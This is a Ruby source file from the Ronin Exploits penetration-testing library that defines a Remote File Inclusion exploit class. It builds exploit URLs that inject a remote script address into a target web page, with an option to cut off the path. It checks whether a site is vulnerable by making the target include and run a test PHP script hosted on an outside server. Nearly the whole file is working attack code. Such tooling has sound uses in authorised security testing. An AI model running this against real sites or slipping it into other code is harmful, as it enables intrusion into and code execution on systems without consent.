#
# Ronin Exploits - A Ruby library for Ronin that provides exploitation and
# payload crafting functionality.
#
# Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# This file is part of Ronin Exploits.
#
# Ronin is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ronin is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ronin.  If not, see <http://www.gnu.org/licenses/>
#

require 'ronin/exploits/web'

require 'digest/md5'
require 'chars'

module Ronin
  module Exploits
    #
    # Represents Remote File Inclusion (RFI) exploits.
    #
    # @since 1.0.0
    #
    class RFI < Web

      # Default URL of the RFI Test script
      TEST_SCRIPTS = {
        PHP: 'http://ronin-ruby.github.com/static/ronin/php/rfi/test.php'
      }

      # The script extensions and their languages
      EXTS = {
        '.asp'  => :ASP,
        '.aspx' => :ASP,
        '.cfm'  => :ColdFusion,
        '.cfml' => :ColdFusion,
        '.jsp'  => :JSP,
        '.php'  => :PHP,
        '.pl'   => :Perl,
        ''      => :unknown
      }

      # Whether to terminate the LFI path with a null byte
      property :terminate, Boolean, default: false

      #
      # The Scripting Language the URL is using.
      #
      # @return [Symbol]
      #   The name of the Scripting Language.
      #
      def script_language
        EXTS[File.extname(self.url_path)]
      end

      #
      # The remote script to test the URL for Remote File Inclusion (RFI).
      #
      # @return [String, nil]
      #   The URL to the remote script.
      #
      def test_script
        TEST_SCRIPTS[script_language]
      end

      #
      # Creates an exploit URL which includes the remote URL.
      #
      # @param [#to_s] remote_url
      #   The remote URL to inject.
      #
      # @param [Hash] query_params
      #   Additional query params.
      #
      # @return [URI::HTTP]
      #   The exploit URL.
      #
      def exploit_url(remote_url,query_params={})
        if terminate?
          remote_url = "#{remote_url}?"
        end

        return super(remote_url,query_params)
      end

      #
      # Determines if the URL is vulnerable to RFI.
      #
      # @return [Boolean]
      #   Specifies whether the URL is vulnerable to RFI.
      #
      def vulnerable?
        unless script_language
          raise(NotImplementedError,"cannot test against #{script_language}")
        end

        unless (remote_url = test_script)
          raise(NotImplementedError,"no test script for #{script_language}")
        end

        challenge = Chars::ALPHA.random_string(10)
        expected  = Digest::MD5.hexdigest(challenge)
        body      = exploit(remote_url, 'test' => challenge).body

        return body.include?(expected)
      end

    end
  end
end
